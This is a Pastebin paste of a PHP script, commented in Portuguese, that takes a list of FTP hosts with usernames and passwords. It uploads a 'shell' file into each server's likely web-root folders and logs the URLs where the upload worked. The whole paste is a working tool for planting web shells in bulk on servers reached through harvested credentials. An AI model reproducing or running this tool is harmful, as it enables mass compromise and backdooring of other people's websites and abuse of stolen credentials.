Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* Mass FTP Upload File by DRC - 2013
- Uso: Mass.php?lista=lista.txt&shell=shell.php
- Entrada: lista.txt = Lista de FTPs (ftp.server.com:user pass)
- shell.php = Shell que será upada ou arquivo qualquer.
- Saida: ListaFalhas.txt = Lista de FTPs que não foi achado a pasta pública, onde terá de upar na mão...
- ListaSucesso.txt = Lista de FTPs que teve a shell upada com sucesso.
- Sintaxe lista: 127.0.0.1:user1 1234 */
- ?>
- <html><head><title>Mass FTP Upload File :: By DRC</title>
- </head><body bgcolor="black">
- <?php
- error_reporting(0);
- set_time_limit(0);
- ob_implicit_flush(1);
- if (isset($_GET["lista"])) {
- if (isset($_GET["shell"])) {
- $file = $_GET["lista"];
- $shell = $_GET["shell"];
- $fpList = fopen($file, "r");
- $fp = fopen($shell, "r");
- $curl = curl_init(); $cont = 1;
- if ($curl) {
- while(!feof($fpList)) {
- ob_start("compress");
- $cPalavra = fgets($fpList);
- $parse = explode(":", $cPalavra);
- $server = $parse[0];
- $parse = $parse[1];
- $parse = explode(" ", $parse);
- $user = $parse[0];
- $pass = $parse[1];
- $pass = substr($pass, 0, -2);
- for ($a=0; $a!=7; $a++) {
- if ($a == 0) $dir_up = "httpdocs";
- else if ($a == 1) $dir_up = "web";
- else if ($a == 2) $dir_up = "html";
- else if ($a == 3) $dir_up = "home";
- else if ($a == 4) $dir_up = "www";
- else if ($a == 5) $dir_up = "public_html";
- else if ($a == 6) $dir_up = "htdocs";
- $endereco = "ftp://" . $user . ":" . $pass . "@" . $server . "/" . $dir_up . "/" . $shell;
- curl_setopt($curl, CURLOPT_URL, $endereco);
- curl_setopt($curl, CURLOPT_UPLOAD, 1);
- curl_setopt($curl, CURLOPT_INFILE, $fp);
- curl_setopt($curl, CURLOPT_INFILESIZE, filesize($shell));
- curl_exec ($curl);
- $erro = curl_errno($curl);
- if ($erro == 0) {
- echo '<font style="color: green;"><b> <font style="color: blue;">'. $cont .'</font> : FTP : '. $endereco . ' --> Arquivo enviado com sucesso.</b></font><br>'; ob_flush();
- $logFE = fopen("ListaSucesso.txt", "a+");
- if ($logFE) {
- fwrite($logFE, "http://" . $server . "/" . $shell . "\n");
- fclose($logFE);
- }
- } else {
- echo '<font style="color: red;"> <font style="color: blue;">'. $cont .'</font> : FTP : '. $endereco . ' --> Erro ao fazer upload do arquivo.</font><br>'; ob_flush();
- $logFS = fopen("ListaFalhas.txt", "a+");
- if ($logFS) {
- fwrite($logFS, "ftp://" . $user . ":" . $pass . "@" . $server . "/\n");
- fclose($logFS);
- }
- }
- $cont++;
- }
- }
- fclose($fpList);
- curl_close ($curl);
- }
- } else { echo "Uso: Mass.php?lista=lista.txt&shell=shell.php"; }
- } else { echo "Uso: Mass.php?lista=lista.txt&shell=shell.php"; }
- ?>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement